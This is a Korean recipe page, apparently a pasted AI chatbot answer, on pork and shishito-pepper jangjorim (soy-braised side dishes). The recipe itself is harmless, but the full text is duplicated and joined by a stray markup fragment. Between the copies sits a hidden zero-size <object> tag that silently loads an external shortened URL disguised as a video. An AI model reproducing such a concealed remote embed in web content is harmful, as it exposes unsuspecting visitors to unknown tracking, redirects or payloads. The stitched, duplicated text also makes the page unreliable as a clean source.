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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:39">돼지고기 장조림, 일주일 밑반찬으로 딱! 맛있게 만드는 법과 꿀팁</h2><p data-sourcepos="3:1-3:134">돼지고기 장조림은 부드럽고 짭짤한 맛이 일품인 밑반찬이죠. 꽈리고추를 함께 조리하면 매콤한 풍미까지 더해져 더욱 맛있게 즐길 수 있어요. 일주일 내내 든든하게 먹을 수 있는 돼지고기 장조림, 꽈리고추 장조림 만드는 법을 자세히 알려드릴게요.</p><h3 data-sourcepos="5:1-5:21">돼지고기 장조림에 좋은 부위는?</h3><p data-sourcepos="7:1-7:66">돼지고기 장조림에 적합한 부위는 부드러운 식감을 내는 부위가 좋아요. 일반적으로 많이 사용하는 부위는 다음과 같습니다.</p><ul data-sourcepos="9:1-13:0">
<li data-sourcepos="9:1-9:41"><strong>삼겹살:</strong> 지방이 적절히 분포되어 있어 촉촉하고 풍미가 좋습니다.</li>
<li data-sourcepos="10:1-10:40"><strong>목살:</strong> 살코기가 많아 담백하고 깔끔한 맛을 즐길 수 있습니다.</li>
<li data-sourcepos="11:1-11:33"><strong>안심:</strong> 가장 부드러운 부위로 아이들도 좋아합니다.</li>
<li data-sourcepos="12:1-13:0"><strong>등심:</strong> 삼겹살과 목살의 중간 정도의 부드러움과 고소함을 가지고 있습니다.</li>
</ul><p data-sourcepos="14:1-14:50"><strong>팁:</strong> 돼지고기는 찬물에 30분 정도 담가 핏물을 제거하면 잡내를 줄일 수 있습니다.</p><h3 data-sourcepos="16:1-16:27">돼지고기 장조림 만드는 법 (기본 레시피)</h3><p data-sourcepos="18:1-18:7"><strong>재료:</strong></p><ul data-sourcepos="20:1-28:0">
<li data-sourcepos="20:1-20:23">돼지고기 (삼겹살, 목살 등) 500g</li>
<li data-sourcepos="21:1-21:7">간장 1컵</li>
<li data-sourcepos="22:1-22:6">물 1컵</li>
<li data-sourcepos="23:1-23:8">설탕 3큰술</li>
<li data-sourcepos="24:1-24:7">마늘 5쪽</li>
<li data-sourcepos="25:1-25:7">대파 1대</li>
<li data-sourcepos="26:1-26:7">후추 약간</li>
<li data-sourcepos="27:1-28:0">꽈리고추 (선택)</li>
</ul><p data-sourcepos="29:1-29:10"><strong>만드는 법:</strong></p><ol data-sourcepos="31:1-36:0">
<li data-sourcepos="31:1-31:36">돼지고기를 먹기 좋은 크기로 썰고 찬물에 핏물을 제거합니다.</li>
<li data-sourcepos="32:1-32:43">냄비에 돼지고기, 간장, 물, 설탕, 다진 마늘, 대파를 넣고 끓입니다.</li>
<li data-sourcepos="33:1-33:36">끓어오르면 중불로 줄이고 뚜껑을 덮어 30분 정도 조립니다.</li>
<li data-sourcepos="34:1-34:26">꽈리고추를 넣고 5분 정도 더 조리합니다.</li>
<li data-sourcepos="35:1-36:0">국물이 졸아들면 불을 끄고 식힌 후 냉장 보관합니다.</li>
</ol><h3 data-sourcepos="37:1-37:18">꽈리고추 장조림 만드는 법</h3><p data-sourcepos="39:1-39:38">꽈리고추 장조림은 돼지고기 장조림에 비해 간단하게 만들 수 있습니다.</p><p data-sourcepos="41:1-41:7"><strong>재료:</strong></p><ul data-sourcepos="43:1-49:0">
<li data-sourcepos="43:1-43:11">꽈리고추 300g</li>
<li data-sourcepos="44:1-44:9">간장 1/2컵</li>
<li data-sourcepos="45:1-45:8">물 1/2컵</li>
<li data-sourcepos="46:1-46:8">설탕 2큰술</li>
<li data-sourcepos="47:1-47:7">마늘 3쪽</li>
<li data-sourcepos="48:1-49:0">식용유</li>
</ul><p data-sourcepos="50:1-50:10"><strong>만드는 법:</strong></p><ol data-sourcepos="52:1-55:0">
<li data-sourcepos="52:1-52:25">꽈리고추는 꼭지를 떼고 반으로 가릅니다.</li>
<li data-sourcepos="53:1-53:40">팬에 식용유를 두르고 꽈리고추를 볶다가 마늘을 넣어 함께 볶습니다.</li>
<li data-sourcepos="54:1-55:0">간장과 설탕을 넣고 물이 자작해질 때까지 조립니다.</li>
</ol><h3 data-sourcepos="56:1-56:13">맛있게 즐기는 팁</h3><ul data-sourcepos="58:1-62:0">
<li data-sourcepos="58:1-58:57"><strong>다른 채소 넣기:</strong> 감자, 당근, 양파 등 다양한 채소를 넣어 색다른 맛을 즐길 수 있습니다.</li>
<li data-sourcepos="59:1-59:42"><strong>매운 맛 내기:</strong> 고춧가루를 추가하면 매콤한 맛을 낼 수 있습니다.</li>
<li data-sourcepos="60:1-60:49"><strong>달콤한 맛 내기:</strong> 물엿이나 매실액을 넣으면 더욱 달콤한 맛을 낼 수 있습니다.</li>
<li data-sourcepos="61:1-62:0"><strong>냉장 보관:</strong> 냉장 보관하면 1주일 정도 보관이 가능합니다.</li>
</ul><p data-sourcepos="63:1-63:29"><strong>주의:</strong> 돼지고기는 완전히 익혀 먹어야 합니다.</p><p data-sourcepos="65:1-65:83"><strong>이 외에도 다양한 레시피와 팁을 인터넷에서 찾아보실 수 있습니다. 맛있는 돼지고기 장조림과 꽈리고추 장조림을 만들어 즐거운 식사 시간 되세요!</strong></p><p data-sourcepos="67:1-67:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p><p data-sourcepos="69:1-69:40"><strong>혹시 원하시는 레시피가 있다면 더 자세히 알려드릴 수 있습니다.</strong></p><ul data-sourcepos="71:1-72:37">
<li data-sourcepos="71:1-71:32">예시: "매콤한 돼지고기 장조림 레시피 알려주세요."</li>
<li data-sourcepos="72:1-72:37">예시: "아이들이 좋아하는 달콤한 꽈리고추 장조림 레시피는요?"</li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:39">돼지고기 장조림, 일주일 밑반찬으로 딱! 맛있게 만드는 법과 꿀팁</h2><p data-sourcepos="3:1-3:134">돼지고기 장조림은 부드럽고 짭짤한 맛이 일품인 밑반찬이죠. 꽈리고추를 함께 조리하면 매콤한 풍미까지 더해져 더욱 맛있게 즐길 수 있어요. 일주일 내내 든든하게 먹을 수 있는 돼지고기 장조림, 꽈리고추 장조림 만드는 법을 자세히 알려드릴게요.</p><h3 data-sourcepos="5:1-5:21">돼지고기 장조림에 좋은 부위는?</h3><p data-sourcepos="7:1-7:66">돼지고기 장조림에 적합한 부위는 부드러운 식감을 내는 부위가 좋아요. 일반적으로 많이 사용하는 부위는 다음과 같습니다.</p><ul data-sourcepos="9:1-13:0">
<li data-sourcepos="9:1-9:41"><strong>삼겹살:</strong> 지방이 적절히 분포되어 있어 촉촉하고 풍미가 좋습니다.</li>
<li data-sourcepos="10:1-10:40"><strong>목살:</strong> 살코기가 많아 담백하고 깔끔한 맛을 즐길 수 있습니다.</li>
<li data-sourcepos="11:1-11:33"><strong>안심:</strong> 가장 부드러운 부위로 아이들도 좋아합니다.</li>
<li data-sourcepos="12:1-13:0"><strong>등심:</strong> 삼겹살과 목살의 중간 정도의 부드러움과 고소함을 가지고 있습니다.</li>
</ul><p data-sourcepos="14:1-14:50"><strong>팁:</strong> 돼지고기는 찬물에 30분 정도 담가 핏물을 제거하면 잡내를 줄일 수 있습니다.</p><h3 data-sourcepos="16:1-16:27">돼지고기 장조림 만드는 법 (기본 레시피)</h3><p data-sourcepos="18:1-18:7"><strong>재료:</strong></p><ul data-sourcepos="20:1-28:0">
<li data-sourcepos="20:1-20:23">돼지고기 (삼겹살, 목살 등) 500g</li>
<li data-sourcepos="21:1-21:7">간장 1컵</li>
<li data-sourcepos="22:1-22:6">물 1컵</li>
<li data-sourcepos="23:1-23:8">설탕 3큰술</li>
<li data-sourcepos="24:1-24:7">마늘 5쪽</li>
<li data-sourcepos="25:1-25:7">대파 1대</li>
<li data-sourcepos="26:1-26:7">후추 약간</li>
<li data-sourcepos="27:1-28:0">꽈리고추 (선택)</li>
</ul><p data-sourcepos="29:1-29:10"><strong>만드는 법:</strong></p><ol data-sourcepos="31:1-36:0">
<li data-sourcepos="31:1-31:36">돼지고기를 먹기 좋은 크기로 썰고 찬물에 핏물을 제거합니다.</li>
<li data-sourcepos="32:1-32:43">냄비에 돼지고기, 간장, 물, 설탕, 다진 마늘, 대파를 넣고 끓입니다.</li>
<li data-sourcepos="33:1-33:36">끓어오르면 중불로 줄이고 뚜껑을 덮어 30분 정도 조립니다.</li>
<li data-sourcepos="34:1-34:26">꽈리고추를 넣고 5분 정도 더 조리합니다.</li>
<li data-sourcepos="35:1-36:0">국물이 졸아들면 불을 끄고 식힌 후 냉장 보관합니다.</li>
</ol><h3 data-sourcepos="37:1-37:18">꽈리고추 장조림 만드는 법</h3><p data-sourcepos="39:1-39:38">꽈리고추 장조림은 돼지고기 장조림에 비해 간단하게 만들 수 있습니다.</p><p data-sourcepos="41:1-41:7"><strong>재료:</strong></p><ul data-sourcepos="43:1-49:0">
<li data-sourcepos="43:1-43:11">꽈리고추 300g</li>
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<li data-sourcepos="45:1-45:8">물 1/2컵</li>
<li data-sourcepos="46:1-46:8">설탕 2큰술</li>
<li data-sourcepos="47:1-47:7">마늘 3쪽</li>
<li data-sourcepos="48:1-49:0">식용유</li>
</ul><p data-sourcepos="50:1-50:10"><strong>만드는 법:</strong></p><ol data-sourcepos="52:1-55:0">
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<li data-sourcepos="53:1-53:40">팬에 식용유를 두르고 꽈리고추를 볶다가 마늘을 넣어 함께 볶습니다.</li>
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</ol><h3 data-sourcepos="56:1-56:13">맛있게 즐기는 팁</h3><ul data-sourcepos="58:1-62:0">
<li data-sourcepos="58:1-58:57"><strong>다른 채소 넣기:</strong> 감자, 당근, 양파 등 다양한 채소를 넣어 색다른 맛을 즐길 수 있습니다.</li>
<li data-sourcepos="59:1-59:42"><strong>매운 맛 내기:</strong> 고춧가루를 추가하면 매콤한 맛을 낼 수 있습니다.</li>
<li data-sourcepos="60:1-60:49"><strong>달콤한 맛 내기:</strong> 물엿이나 매실액을 넣으면 더욱 달콤한 맛을 낼 수 있습니다.</li>
<li data-sourcepos="61:1-62:0"><strong>냉장 보관:</strong> 냉장 보관하면 1주일 정도 보관이 가능합니다.</li>
</ul><p data-sourcepos="63:1-63:29"><strong>주의:</strong> 돼지고기는 완전히 익혀 먹어야 합니다.</p><p data-sourcepos="65:1-65:83"><strong>이 외에도 다양한 레시피와 팁을 인터넷에서 찾아보실 수 있습니다. 맛있는 돼지고기 장조림과 꽈리고추 장조림을 만들어 즐거운 식사 시간 되세요!</strong></p><p data-sourcepos="67:1-67:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p><p data-sourcepos="69:1-69:40"><strong>혹시 원하시는 레시피가 있다면 더 자세히 알려드릴 수 있습니다.</strong></p><ul data-sourcepos="71:1-72:37">
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<li data-sourcepos="72:1-72:37">예시: "아이들이 좋아하는 달콤한 꽈리고추 장조림 레시피는요?"</li>
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